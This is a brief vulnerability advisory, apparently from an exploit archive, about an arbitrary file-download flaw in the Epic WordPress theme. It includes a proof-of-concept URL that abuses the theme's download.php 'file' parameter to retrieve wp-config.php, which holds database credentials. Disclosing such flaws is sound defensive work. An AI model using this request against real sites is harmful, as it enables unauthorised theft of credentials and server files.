source: https://www.securityfocus.com/bid/69672/info

Epic theme for Wordpress is prone to an arbitrary file-download vulnerability.

An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information. 

http://www.example.com/wp-content/themes/epic/includes/download.php?file=/home/content/46/8992446/html/wp-config.php